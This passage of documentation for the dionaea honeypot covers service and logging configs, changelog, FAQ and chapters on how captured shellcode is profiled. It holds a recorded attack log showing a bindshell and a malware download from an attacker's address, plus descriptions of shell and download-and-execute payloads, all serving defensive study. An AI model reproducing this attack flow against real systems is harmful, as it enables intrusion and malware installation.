# native_os: Windows 6.1
# native_lan_manager: Samba 4.3.11
# shares:
#   admin:
#     comment: Remote Admin
#     path: \\home\\admin
#     type: disktree
#   share:
#     coment: Default Share
#     path: \\share
#     type: disktree
#   IPC$:
#     comment: Remote IPC
#     path: IPC Service
#     type: ipc
#   Printer:
#     comment: Printer Drivers
#     type: printq
```

7.15 TFTP

Written to test the udp connection code, dionaea provides a tftp server on port 69, which can serve files. Even though there were vulnerabilities in tftp services, I'm yet to see an automated attack on tftp services.

7.15.1 Example config

Listing 7.14: services/tftp.yaml

```
- name: tftp
  config:
    root: @LOCALESTATEDIR@/dionaea/roots/tftp
```

7.16 UPnP

7.16.1 Example config

Listing 7.15: services/upnp.yaml

```
- name: upnp
  config:
    root: @LOCALESTATEDIR@/dionaea/roots/upnp
    # maximum size in kbytes of the request (32MB)
    max_request_size: 32768
    personality:
      # default
```

```
cache:      "CACHE-CONTROL: max-age=120\r\n"
st:         "ST: upnp:rootdevice\r\n"
usn:        "USN: uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice\r\n"
server:     "SERVER: Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP_
↪devices/1.3.1\r\n"
location:   "LOCATION: http://192.168.0.1:49152/IPMIdevicedesc.xml\r\n"
opt:        "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
#           # Samsung TV
#           cache:      "CACHE-CONTROL: max-age=900\r\n"
#           st:         "ST: uuid:c1fd12b2-d954-4dba-9e92-a697e1558fb4\r\n"
#           usn:        "USN: uuid:c1fd12b2-d954-4dba-9e92-a697e1558fb4\r\n"
#           server:     "SERVER: SHP, UPnP/1.0, Samsung UPnP SDK/1.0\r\n"
#           location:   "LOCATION: http://192.168.0.10:7677/MainTVServer2\r\n"
#           opt:        "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
#
#           # XBOX 360
#           cache:      "CACHE-CONTROL: max-age=1800\r\n"
#           st:         "ST: urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1\r\n"
#           usn:        "USN: uuid:531c567a-8c46-4201-bcd4-09afa554d859::urn:microsoft.
↪com:service:X_MS_MediaReceiverRegistrar:1\r\n"
#           server:     "SERVER: Microsoft-Windows/6.3 UPnP/1.0 UPnP-Device-Host/1.0\r\n"
#           location:   "LOCATION: http://192.168.0.10:1055/upnpghost/udhisapi.dll?
↪content=uuid:531c567a-8c46-4201-bcd4-09afa554d859\r\n"
#           opt:        "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
```

Logging (ihandler)

Getting a copy of the malware is cool, getting an overview of the attacks run on your sensor is priceless.

dionaea can write information to a text file, but be aware, dionaea's logging to text files is rather chatty, really chatty, and you do not want to look at the information, if you are not debugging the software or writing some new feature for it.

Of course, you can apply filters to the logging, to limit it to different facilities or levels, but in general you do not want to work with text files.

dionaea uses some internal communication system which is called incidents. An incident has an origin, which is a string, a path, and properties, which can be integers, strings, or a pointer to a connection. Incidents limit to the max, they pass the information required to incident handlers (ihandler). An ihandler can register a path for incidents he wants to get informed about, the paths are matched in a glob like fashion. Therefore logging information using an ihandler is superior to text logging, you get the information you are looking for, and can write it to a format you choose yourself.

List of available ihandlers

8.1 emuprofile

8.1.1 Example config

Listing 8.1: ihandlers/emuprofile.yaml

```
- name: emuprofile
```

8.2 fail2ban

8.2.1 Example config

Listing 8.2: ihandlers/fail2ban.yaml

```
- name: fail2ban
  config:
    downloads: "@LOCALESTATEDIR@dionaea/downloads.f2b"
    offers: "@LOCALESTATEDIR@dionaea/offers.f2b"
```

8.3 ftp

8.3.1 Example config

Listing 8.3: ihandlers/ftp.yaml

```
# ftp client section
- name: ftp
  config:
    # host for active ftp via NAT
    # * 0.0.0.0 - the initiating connection ip is used for active ftp
    # * not 0.0.0.0 - gets resolved as hostname and used
    active_host: "0.0.0.0"

    # ports for active ftp; string indicating a range
    active_ports: 63001-64000
```

8.4 hpfeeds

8.4.1 Example config

Listing 8.4: ihandlers/hpfeeds.yaml

```
- name: hpfeeds
  config:
    server: "hpfriends.honeycloud.net"
    port: 10000
    ident: ""
    secret: ""
    # dynip_resolve: enable to lookup the sensor ip through a webservice
    dynip_resolve: "http://hpfriends.honeycloud.net/ip"
```

8.5 log_db_sql

Warning: This ihanlder is experimental.

This incident handler can write interesting information about attacks and connections into an SQL database. It uses [SQLAlchemy](#) to support different databases.

8.5.1 Example config

Listing 8.5: ihandlers/log_db_sql.yaml

```
- name: log_db_sql
  config:
    url: sqlite:///@LOCALESTATEDIR@dionaea/dionaea.db
```

8.6 log_incident

This ihandler can be used to export incidents in realtime to be processed by external programs.

Warning: This ihandler is in pre alpha state and it might be changed or removed in the future.

8.6.1 Configure

handlers

List of URLs to submit the information to. At the moment only file, http and https are supported.

8.6.2 Format

```
{
  "name": "<sensor-name>",
  "origin": "<name of the incident>",
  "timestamp": "<date in ISO 8601>",
  "data": {
    "connection": {
      "id": <internal ID>,
      "local_ip": "<local IP>",
      "local_port": <local port>,
      "remote_ip": "<remote IP>",
      "remote_hostname": "<remote hostname if resolvable>",
      "remote_port": <remote port>,
      "protocol": "<protocol>",
      "transport": "<transport tcp|udp>"
    }
  }
}
```

8.6.3 Example config

Listing 8.6: ihandlers/log_incident.yaml

```
- name: log_incident
  config:
    handlers:
      #- http://127.0.0.1:8080/
      - file:///@LOCALESTATEDIR@dionaea/dionaea_incident.json
```

8.7 log_json

This ihandler can submit information about attacks/connections encoded as json.

Warning: This ihandler is in pre alpha state and it might be changed or removed in the near future.

8.7.1 Configure

flat_data

Set to true to flatten object lists.

handlers

List of URLs to submit the information to. At the moment only file, http and https are supported.

8.7.2 Format

Format of the connection information:

```
{
  "connection": {
    "local": {
      "address": "<string:local ip address>",
      "port": <integer:local port>,
    },
    "protocol": "<string:service name e.g. httpd>",
    "remote": {
      "address": "<string:remote ip address>",
      "port": <integer:remote port>,
      "hostname": "<string:hostname of the remote host>"
    },
    "transport": "<string:transport protocol e.g. tcp or udp>",
    "type": "<string:connection type e.g. accepted, listen, ...>"
  }
}
```

8.7.3 Example config

Listing 8.7: ihandlers/log_json.yaml

```
- name: log_json
  config:
    # Uncomment next line to flatten object lists to work with ELK
    # flat_data: true
  handlers:
    #- http://127.0.0.1:8080/
    - file://@LOCALESTATEDIR@dionaea/dionaea.json
```

8.8 log_sqlite

Warning: This ihandler was renamed in dionaea 0.4.0 from logsql to log_sqlite.

This is what the logsql python script does, it is an ihandler, and writes interesting incidents to a sqlite database, one of the benefits of this logging is the ability to cluster incidents based on the initial attack when retrieving the data from the database:

```
connection 610 smbd tcp accept 10.69.53.52:445 <- 10.65.34.231:2010
dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0'
↪fw:'0'
profile: [{'return': '0x7c802367', 'args': ['', 'CreateProcessA'], 'call':
↪'GetProcAddress'},
        ...., {'return': '0', 'args': ['0'], 'call': 'ExitThread'}]
service: bindshell://1957
connection 611 remoteshell tcp listen 10.69.53.52:1957
  connection 612 remoteshell tcp accept 10.69.53.52:1957 <- 10.65.34.231:2135
    p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:
↪'0' fw:'0'
      offer: fxp://1:1@10.65.34.231:8218/ssms.exe
      download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:1@10.65.34.231:8218/ssms.exe
    connection 613 ftpctrl tcp connect 10.69.53.52:37065 -> 10.65.34.231/None:8218
      connection 614 ftpdata tcp listen 10.69.53.52:62087
        connection 615 ftpdata tcp accept 10.69.53.52:62087 <- 10.65.34.231:2308
          p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11'
↪nat:'0' fw:'0'
```

Additionally, you can query the database for many different things, refer to:

- dionaea sql logging 2009/11/06 <http://carnivore.it/2009/11/06/dionaea_sql_logging>
- post it yourself 2009/12/08 <http://carnivore.it/2009/12/08/post_it_yourself>
- sqlite performance 2009/12/12 <http://carnivore.it/2009/12/12/sqlite_performance>
- virustotal fun 2009/12/14 <http://carnivore.it/2009/12/14/virustotal_fun>
- Andrew Waite's Blog <<http://infosanity.wordpress.com/>> for mimic-nepstats.py

for more examples how to make use of the database.

8.8.1 Example config

Listing 8.8: ihandlers/log_sqlite.yaml

```
- name: log_sqlite
  config:
    file: @LOCALESTATEDIR@/dionaea/dionaea.sqlite
```

8.9 nfq

8.9.1 Example config

Listing 8.9: ihandlers/nfq.yaml

```
- name: nfq
  # nfq can intercept incoming tcp connections during the tcp handshake
  # giving your honeypot the possibility to provide service on
  # ports which are not served by default.
  # refer to the documentation BEFORE using this
  config:
    # 0 = DROP
    nfaction: 0
    throttle:
      window : 30
      limits:
        total: 30
        slot: 30
    timeouts:
      server:
        listen: 5
      client:
        idle: 10
        sustain: 240
```

8.10 p0f

8.10.1 Example config

Listing 8.10: ihandlers/p0f.yaml

```
- name: p0f
  config:
    # start p0f with
    # sudo p0f -i any -u root -Q /tmp/p0f.sock -q -l
    path: "un:///tmp/p0f.sock"
```

8.11 store

8.11.1 Example config

Listing 8.11: ihandlers/store.yaml

```
- name: store
```

8.12 submit_http

8.12.1 Example config

Listing 8.12: ihandlers/submit_http.yaml

```
- name: submit_http
  config:
    # the url to send the submission requests to
    url: "http://example.org/"
    # E-Mail (optional)
    # email: ""
    # username (optional)
    # user:
    # password (optional)
    # pass:
```

8.13 submit_http_post

8.13.1 Example config

Listing 8.13: ihandlers/submit_http_post.yaml

```
- name: submit_http_post
  config:
    submit:
      file_upload:
        urls:
          - http://example.org/upload
          - http://example.com/file.php
      field_values:
        submit: "Upload file"
      file_fieldname: upload_file
```

8.14 tftp_download

8.14.1 Example config

Listing 8.14: ihandlers/tftp_download.yaml

```
- name: tftp_download
```

8.15 VirusTotal

This ihandler submits the captured malware samples to the [VirusTotal](#) service for further analysis.

8.15.1 Configuration

apikey

The VirusTotal API-Key.

file

SQLite database file used to cache the results.

8.15.2 Example config

Listing 8.15: ihandlers/virustotal.yaml

```
- name: virustotal
  config:
    # grab it from your virustotal account at My account -> Inbox -> Public API
    apikey: "....."
    file: "@LOCALESTATEDIR@dionaea/vtcache.sqlite"
```

Processors control the actions done on the bi-directional streams we gain when getting attacked, the default is running the emu processor on them to detect shellcode.

9.1 Emu

Use libemu to find and emulate shellcodes.

9.1.1 Configuration

9.2 Filter

Only continue with the processing pipeline if all conditions match.

9.2.1 Configuration

protocols

Comma separated list of connection types.

types

Comma separated list of connection types.

- accept - dionaea accepts a new connection from a remote host
- connect - dionaea makes a connection to a remote host

9.3 Streamdumper

This processor can dump a connection as bi-directional stream. The dump can be used to replay an attack on ip-level without messing with pcap and tcpreplay.

9.3.1 Configuration

path

Dumps will be created in this directory.

First of all, thank you for your interest in contributing to dionaea!

10.1 Filing bug reports

Bug reports are very welcome. Please file them on the [GitHub issue tracker](#). Good bug reports come with extensive descriptions of the error and how to reproduce it.

10.2 Patches

All patches to dionaea should be submitted in the form of pull requests to the main dionaea repository, [Dino-Tools/dionaea](#). These pull requests should satisfy the following properties:

10.2.1 Code

- The pull request should focus on one particular improvement to dionaea.
- Create different pull requests for unrelated features or bugfixes.
- Python code should follow [PEP 8](#), especially in the “do what code around you does” sense.

10.2.2 Documentation

When introducing new functionality, please remember to write documentation.

10.3 Review

Finally, pull requests must be reviewed before merging. Everyone can perform reviews; this is a very valuable way to contribute, and is highly encouraged.

dionaea initial development was funded by the [HoneyNet Project](#) as part of the Honeynets Summer of Code during 2009. The development process is as open as possible. You can browse the source online and report bugs on [GitHub](#)

11.1 Development

11.1.1 Vagrant

Vagrant can be used to setup a development environment for dionaea within minutes.

Install

First install [Vagrant](#) and [VirtualBox](#).

If everything has been setup correctly clone the git repository and use vagrant to bootstrap and start the environment.

```
$ git clone https://github.com/DinoTools/dionaea.git
$ cd dionaea/vagrant
$ vagrant up
```

All files will be installed in the `/opt/dionaea` directory.

Run

Access the development environment, edit the config files and start dionaea with the following command.

```
$ sudo /opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug_
↪ -L ' * '
```

Rebuild and test

To rebuild and install dionaea run the flowing commands.

```
$ cd /vagrant
$ make
$ sudo make install
```

See [Run](#) for more information on how to start dionaea.

11.1.2 Ubuntu 14.04

Instead of using Vagrant you can use a Ubuntu 14.04 system to setup your development environment. In this section we will use the scripts used to setup the Vagrant environment to bootstrap a fresh Ubuntu system. If you like you can follow the [Installation](#) 'From Source' guide to setup everything by hand.

Install

First install [Ubuntu](#).

If everything has been setup correctly clone the git repository and run the bootstrap script.

```
$ git clone https://github.com/DinoTools/dionaea.git
$ vagrant
$ ./bootstrap.sh
```

All files will be installed in the `/opt/dionaea` directory.

Rebuild and test

Rebuild, install and start dionaea from the root of the git repository.

```
$ make
$ sudo make install
$ sudo /opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug_
↪-l '*'
```

This can also be done in one line.

```
$ make && sudo make install && sudo dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -
↪l all,-debug -l '*'
```

11.1.3 Find memory leaks

To enable AddressSanitizer you have to add the following parameters to the configure script and rebuild dionaea.

```
--disable-shared CFLAGS="-fsanitize=address -ggdb" CXXFLAGS="-fsanitize=address -ggdb"
```

When running dionaea it will print information about overflow errors. If you would like to stop execution you have to export an additional environment variable.

```
export ASAN_OPTIONS='abort_on_error=1'
```

To get a stacktrace you can use `gdb` and add an additional breakpoint `break __asan_report_error`.

It is also possible to use `asan_symbolize.py python2 script` to extract additional information.

```
/opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg 2>&1 | python asan_
↪symbolize.py
```

11.2 Logging

Logging should be used to report errors and for debugging purposes. It must not be used to report attacks. Incidents should be used for this purpose. For more information have a look at the [ihandler](#) section.

Comparison glib2 and Python

glib2	Python
debug	debug
info	info
warning	warning
critical	error
error	critical

Warning: In glib2 a critical message means critical warning. But in Python a critical message is handled as critical error.

Warning: An error message in glib2 or a critical message in a Python module will terminate the program immediately.

11.3 Incident

Some of the incidents reported by the dionaea core are listed below.

dionaea.connection.tcp.accept:

A new TCP connection has been accepted by dionaea.

dionaea.connection.tls.accept:

A new SSL/TLS connection has been accepted by dionaea.

dionaea.connection.tcp.connect:

Reporte after dionaea has connection to an external service via TCP.

dionaea.connection.tls.connect:

Reporte after dionaea has connection to an external service via SSL/TLS.

dionaea.connection.udp.connect:

Reporte after dionaea has connection to an external service via UDP.

dionaea.connection.free:

A connection has been closed and freed.

dionaea.connection.tcp.listen:

Fired after a TCP service has been bound and is listening for incoming connections.

dionaea.connection.tls.listen:

Fired after a SSL/TLS service has been bound and is listening for incoming connections.

dionaea.connection.tcp.pending:

dionaea.connection.tcp.reject:

A incoming connection has been rejected by the server.

dionaea.connection.link.early:

dionaea.connection.link:

Reported to give the log management the chance to link two connections.

12.1 0.8.0 - (master)

12.2 0.7.0 - (2018-05-01)

build

- Add initial cmake support

ci

- Add Debian 9

dionaea

- Fix build error with OpenSSL 1.1.0
- Improve OpenSSL 1.1.0 support
- Cleanup connection code
- Enable bistream for SSL/TLS connections (Thanks Aws0mus)
- Fixing chroot bugs (Thanks Michal Ambroz)

doc

- Add additional information
- Doxygen config file for dionaea c core
- Ubuntu 16.04 install instructions

package

- Remove old and deprecated debian package config

python

- Fix typo in config key

- Fix hardcoded python path
- Fix compilation on CentOS7 (Thanks Michal Ambroz)

python/http

- Initial support to handle SOAP requests

python/log_incident

- Improve hash generator
- Fix bug if parent is unknown
- Remove IDs from list if processed

python/mongo

- Initial support to simulate a MongoDB server

python/pyev

- Update from 0.8 to 0.9 to support Python >= 3.6

python/smb

- Add support for WannaCry and SambaCry (Big thanks to gento)
- Add additional config options to change identity

python/util

- Find Download commands for Linux shell

12.3 0.6.0 - (2016-11-14)

dionaea

- Fix build for musl lib

doc

- Fix install instructions
- Extend README.md

python/blackhole

- New service/Initial version

python/emu_scripts

- New handler to analyse downloaded scripts
- Detect VBScript and PowerShell
- Limit number of subdownloads

python/http

- Clean up
- Use state vars instead of strings
- Add template support * Jinja 2 template engine * nginx template

python/mysql

- Dump files from SELECT queries
- Extract URLs from functions
- Variable handler
- Support for selecting variables

python/p0f

- Fix decode error

python/pptp

- Fix error if config is empty

12.4 0.5.1 - 2016-09-05

dionaea

- Don't report 'connection.free' incident too early to prevent segmentation faults

12.5 0.5.0 - 2016-08-06

dionaea

- Handle byte objects in incidents
- Bump required Python version from 3.2 to 3.4

python/http

- Detect Shellshock attacks

python/log_incident

- Initial support to export raw incident information

python/log_sqlite

- Log credentials from the ftp service

python/memcache

- Initial support for the memcached protocol

python/pptp

- Clean up
- Handle CallClearRequests packets
- Values for hostname, vendor name and firmware revision are now customizable

python/util

- New function to detect shellshock attacks and report detected URLs

12.6 0.4.2 - 2016-07-02

doc

- Add information about log levels for developers

python/*

- Replace all critical log messages with error messages
- Catch exceptions in `handle_io_in()` and `handle_io_out()` to improve stability
- Catch exceptions in incident handlers

python/sip

- Fix error while reading config values

python/upnp

- Fix errors in log messages

more

- Add templates to create issues and merge requests on github

12.7 0.4.1 - 2016-06-14

core

- Initialize stdout logger earlier
- Log error,critical and warning by default

python/*

- In glib2 critical is a critical warning
- Add support for exceptions
- Check file path and show warnings

python/log_json

- Add support for flat object lists to work with ELK stack

12.8 0.4.0 - 2016-05-31

core

- Replace `lcfg` with Key-value file parser from glib

ci

- Add build tests for Ubuntu 14.04, Ubuntu 16.04 and Debian 8

doc

- Add initial documentation for missing modules
- Update documentation to reflect config changes
- Add processor documentation

python/*

- Replace lcfg with yaml configs
- Remove deprecated incident handlers (logxmpp, mwserv, SurfIDS)
- Rename incident handlers from logsql to log_sqlite
- Rename incident handlers from uniqdownload to submit_http_post

python/mysql

- Enable processor pipeline

12.9 0.3.0 - 2016-03-30

core

- Code clean up (Thanks to Katarina)
- Vagrant based dev environment
- Customize ssl/tls parameters for autogenerated certificates

doc

- Initial version of sphinx based documentation

python/ftp

- Support to customize response messages
- Small fixes

python/hpfeeds

- Initial ihandler support (Thanks to rep)

python/http

- Customize HTTP response headers
- Return HTTP/1.1 instead of HTTP/1.0

python/log_json

- Initial ihandler support

python/mqtt

- Initial protocol support (Thanks to gento)

python/pptp

- Initial protocol support (Thanks to gento)

python/upnp

- Initial protocol support (Thanks to gento)

12.10 0.2.1 - 2014-07-16

core

- Support for cython and cython3
- Fixes to build with glib 2.40
- Remove build warnings
- Support libnl >= 3.2.21

python/http

- Fix unlink() calls

python/virustotal

- virustotal API v2.0

12.11 0.2.0 - 2013-11-02

Last commit by original authors.

12.12 0.1.0

- Initial release.

Warning: The documentation is work in progress.

13.1 Build/Install

I get gcc: command not found?

install gcc..

How to uninstall it?

rm -rf /opt/dionaea

I get binding.pyx: ...: undeclared name not builtin: bytes during the python modules build.

Install a recent cython version

I get Python.h not found during compiling cython

Install appropriate headers for your python interpreter

I do not use ubuntu/debian and the instructions are useless for me therefore.

I use debian/ubuntu, and therefore I can only provide instructions for debian/ubuntu, but you are free to send me a diff for your operating system

I use Redhat/Centos 5 and the installation is frustrating and a mess as nothing works.

Thats right, but I did not choose your operating system. Here is a list of outdated or missing packages for your choosen distribution: *all*. Yes, you'll even have to install glib (you'll have 2.10 where 2.20 is required) from source. Getting python3 compiled with a recent sqlite3 version installed to /opt/dionaea requires editing the setup.py file (patch <<http://p.carnivore.it/KDIFWt>>). /I experienced this wonderful operating system myself ... You really have to love your distro to stick with it, even if it ships software versions your grandma saw released in her youth. *Centos is the best distro ... to change distros*. No matter what you choose, it can't get worse./

Unable to build.

```
==> default: cp build/*/dionaea/*.so /opt/dionaea/lib/dionaea/python.so
==> default: cp:
==> default: target '/opt/dionaea/lib/dionaea/python.so' is not a directory
```

```
==> default: libtool: Version mismatch error. This is libtool 2.4.6 Debian-
↳2.4.6-2, but the
==> default: libtool: definition of this LT_INIT comes from libtool 2.4.2.
==> default: libtool: You should recreate aclocal.m4 with macros from
↳libtool 2.4.6 Debian-2.4.6-2
==> default: libtool: and run autoconf again.
```

Try to clean your build environment.

Warning: This will remove all ignored and untracked files from the directory. Use *-dry-run*

```
git clean -xdf
```

13.2 Run

I get OperationalError at unable to open database file when using logsqlite and it does not work at all

Read the logsql instructions <#logsql>

I get a Segmentation Fault

Read the segfault instructions <#segfault>

I logrotate, and after logrotate dionaea does not log anymore.

Read the logrotate instructions <#logging>

p0f does not work.

Make sure your have p0f 2.0.8 and dionaea does not listen on ::, p0f can't deal with IPv6.

I'm facing a bug, it fails, and I can't figure out why.

Explain the problem, if I'm interested in the nature of the problem, as it does not sound like pebcak, I may ask for a shell/screen and have a look myself, and if it is worth it, you'll even get a FAQ entry for some specialties of your OS.

Unable to bind to port after dropping privileges

Dropping privileges and binding to ports lower than 1024 is only support on Linux systems. If some of the optional build dependencies are missing dionaea might not be able to bind to these ports too. After enabling all log levels it should display some log messages like in the example below.

```
[10052017 15:58:17] connection connection.c:200: bind_local con_
↳0x55f21b1ec720
[10052017 15:58:17] connection connection.c:216: bind_local socket 10 1.2.3.
↳4:21
[10052017 15:58:17] connection connection.c:230: Could not bind 1.2.3.4:21_
↳ (Permission denied)
```

To fix this issue you have to install the **kernel headers** for your kernel and rebuild dionaea. If everything works as it should you might get log messages like in the example below. You might have noticed that there is now a pchild section. This means dionaea is using a child process with extended privileges to bind to the port.

```
[10052017 15:58:17] connection connection.c:200: bind_local con_
↪0x55f21b1ec720
[10052017 15:58:17] connection connection.c:216: bind_local socket 10 1.2.3.
↪4:21
[10052017 15::58:17] pchild pchild.c:199: sending msg to child to bind port .
↪..
[10052017 15::58:17] pchild pchild.c:218: child could bind the socket!
[10052017 15::58:17] connection connection.c:316: ip '1.2.3.4' node '1.2.3.
↪4:21'
```


Warning: The documentation is work in progress.

14.1 Rotate bistream files

Dionaea does not have and may never will have a function/option to rotate the bistream files. But you can do this by using a cron job and a simple shell script.

Feel free to use and modify the script below.

```
#!/bin/bash

# Compress bistream files older than 2 days
find /opt/dionaea/var/dionaea/bistreams/* -type f -mtime +2 -exec gzip {} \;

# Clear bistream logs from dionaea every week
find /opt/dionaea/var/dionaea/bistreams/* -type f -mtime +7 -exec rm {} \;
find /opt/dionaea/var/dionaea/bistreams/* -type d -empty -delete
```


15.1 Cui honorem, honorem

Google:

Google has supported 3 students to work on dionaea during GSoc 2009, GSoc 2010 and GSoc 2011.

SURFnet:

[SURFnet](#) has supported the project in the past(2010?-2014?). Working with SURFnet is a real pleasure.

15.2 Support

If you are getting frustrated, because things do not work for you and you already read the [FAQ](#), join the ml and share your experience, or the chat.

GitHub

Use the issue tracker to report any problem.

Website: [Issue tracker](#)

IRC

From time to time some of the developers join the #nepenthes channel on freenode. <irc://irc.freenode.org/nepenthes>

Mailing List:

Only a few messages every year. Seems to be dead, no message since 2015.

Website: [Mailinglist nepenthes-devel](#)

15.3 Links

- GSoC 2009 Project #10 <http://honeynet.org/gsoc/project10>
- [The HoneyNet Project](#)

Old documentation:

CHAPTER 16

Exploitation

Attackers do not seek your service, attackers want to exploit you, they'll chat with the service for some packets, and afterwards sent a payload. dionaea has to detect and evaluate the payload to be able to gain a copy of the malware. In order to do so, dionaea uses libemu.

Given certain circumstances, libemu can detect shellcode, measure the shellcode, and if required even execute the shellcode. Shellcode detection is done by making use of GetPC heuristics, others wrote papers about it, we decided to write libemu to do so. This detection is rather time consuming, and therefore done using threads.

The part of dionaea which takes care of the network io can create a copy of all in/output run for a connection, this copy is passed to the detection facility, which is a tree of detection facilities, at this moment there is only a single leaf, the emu plugin. The emu plugin uses threads and libemu to detect and profile/measure shellcode.

Shellcode measurement/profiling is done by running the shellcode in the libemu vm and recording API calls and arguments. For most shellcode profiling is sufficient, the recorded API calls and arguments reveal enough information to get an idea of the attackers intention and act upon them. For multi-stage shellcode, where the first exploitation stage of the shellcode would retrieve a second shellcode from the attacker, profiling is not sufficient, as we lack the information 'what to do' from the second stage of the shellcode, in this case we need to make use of shellcode execution. Shellcode execution is basically the same as shellcode profiling, the only difference is not recording the api calls, and we allow the shellcode to take certain actions, for example creating a network connection.

16.1 Payloads

Once we have the payload, and the profile, dionaea has to guess the intention, and act upon it

16.1.1 Shells - bind/connectback

This payload offers a shell (cmd.exe prompt) to the attacker, either by binding a port and waiting for the attacker to connect to us again, or by connection to the attacker. In both cases, dionaea offers an cmd.exe emulation to the attacker, parses the input, and acts upon the input, usually the instructions download a file via ftp or tftp.

16.1.2 URLDownloadToFile

These shellcodes use the URLDownloadToFile api call to retrieve a file via http, and execute the retrieved file afterwards

16.1.3 Exec

Making use of WinExec, these shellcode execute a single command which has to be parsed and processed like the bind/connectback shell shellcommands.

16.1.4 Multi Stage Payloads

We never know what the second stage is, therefore libemu is used to execute the shellcode in the libemu vm.

CHAPTER 17

Downloads

Once dionaea gained the location of the file the attacker wants it to download from the shellcode, dionaea will try to download the file. The protocol to download files via tftp and ftp is implemented in python (ftp.py and tftp.py) as part of dionaea, downloading files via http is done in the curl module - which makes use of libcurl's awesome http capabilities. Of course libcurl can run downloads for ftp too, but the ftp services embedded in malware are designed to work with windows ftp.exe client, and fail for others.

CHAPTER 18

Submit

Once dionaea got a copy of the worm attacking her, we may want to store the file locally for further analysis, or submit the file to some 3rd party for further analysis.

dionaea can http/POST the file to several services like CWSandbox, Norman Sandbox or VirusTotal.

CHAPTER 19

Configuration - dionaea.conf

If you want to change the software, it is really important to understand how it works, therefore please take the time to how it works. `dionaea.conf` is the main configuration file, the file controls consists of sections for:

- logging
- processors
- downloads
- bistreams
- submit
- listen
- modules

19.1 logging

The logging section controls ... logging, you can specify log domains and loglevel for different logfiles. As `dionaea` is pretty ... verbose, it is useful to rotate the logfiles using `logrotate`.

```
# logrotate requires dionaea to be started with a pidfile
# in this case -p /opt/dionaea/var/run/dionaea.pid
# adjust the path to your needs
/opt/dionaea/var/log/dionaea*.log {
    notifempty
    missingok
    rotate 28
    daily
    delaycompress
    compress
    create 660 root root
    dateext
    postrotate
```

```
        kill -HUP `cat /opt/dionaea/var/run/dionaea.pid`
    endscript
}
```

//etc/logrotate.d/dionaea/

19.2 modules

downloads specify where to store downloaded malware. bistreams specify where to store bi-directional streams, these are pretty useful when debugging, as they allow to replay an attack on ip-level, without messing with pcap&tcpreplay, which never worked for me. submit specifies where to send files to via http or ftp, you can define a new section within submit if you want to add your own service. listen sets the addresses dionaea will listen to. The default is *all* addresses it can find, this mode is call getifaddrs, but you can set it to manual and specify a single address if you want to limit it. modules is the most powerfull section, as it specifies the modules to load, and the options for each module.

19.2.1 logsql

This section controls the logging to the sqlite database. logsql does not work when chrooting - python makes the path absolute and fails for requests after chroot().

logsql requires the directory where the logsql.sqlite file resides to be writeable by the user, as well as the logsql.sqlite file itself. So, if you drop user privs, make sure the user you drop to is allowed to read/write the file and the directory.

```
chown MYUSER:MYGROUP /opt/dionaea/var/dionaea -R
```

To query the logsql database, I recommend looking at the readlogsqltree.py <#readlogsqltree> script, for visualisation the gnuplotsql <#gnuplotsql> script.

The blog on logsql:

- 2009-11-06 dionaea sql logging <http://carnivore.it/2009/11/06/dionaea_sql_logging>
- 2009-12-08 post it yourself <http://carnivore.it/2009/12/08/post_it_yourself>
- 2009-12-12 sqlite performance <http://carnivore.it/2009/12/12/sqlite_performance>
- 2009-12-14 virustotal fun <http://carnivore.it/2009/12/14/virustotal_fun>
- 2009-12-15 paris mission pack avs <http://carnivore.it/2009/12/15/paris_mission_pack_avs>
- 2010-06-06 data visualisation <http://carnivore.it/2010/06/06/data_visualisation>

19.2.2 logxmpp

This section controls the logging to xmpp services. If you want to use logxmpp, make sure to enable logxmpp in the ihandler section. Using logxmpp allows you to share your new collected files with other sensors anonymously.

The blog on logxmpp:

- 2010-02-10 xmpp backend <http://carnivore.it/2010/02/10/xmpp_backend>
- 2010-05-12 xmpp take #2 <http://carnivore.it/2010/05/12/xmpp_-_take_2>
- 2010-05-15 xmpp take #3 <http://carnivore.it/2010/05/15/xmpp_-_take_3>

pg_backend <#pg_backend> can be used as a backend for xmpp logging sensors.

19.2.3 p0f

Not enabled by default, but recommend: the p0f service, enable by uncommenting p0f in the ihandlers section of the python modules section, and start p0f as suggested in the config. It costs nothing, and gives some pretty cool, even if outdated, informations about the attackers operating system, and you can look them up from the sqlite database, even the rejected connections. If you face problems, here <<http://blog.infosanity.co.uk/2010/12/04/dionaea-with-p0f/>> are some hints.

19.2.4 ihandlers

ihandlers section is used to specify which ihandlers get started by ihandlers.py . You do not want to miss p0f and logsql.

19.2.5 services

services controls which services will get started by services.py

Dionaea ships with some utils, as these utils are written in python and rely on the python3 interpreter dionaea requires to operate, this software can be found in modules/python/utils.

```
readlogsqltree <#readlogsqltree> - modules/python/readlogsqltree.py
```

readlogsqltree is a python3 script which queries the logsql sqlite database for attacks, and prints out all related information for every attack. This is an example for an attack, you get the vulnerability exploited, the time, the attacker, information about the shellcode, the file offered for download, and even the virustotal report for the file.

2010-10-07 20:37:27

```
connection 483256 smbd tcp accept 10.0.1.11:445 <- 93.177.176.190:47650 (483256 None) dcerpc bind:
  uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-
  08002b104860 dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax
  8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1'
  (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '8b52c8fd-
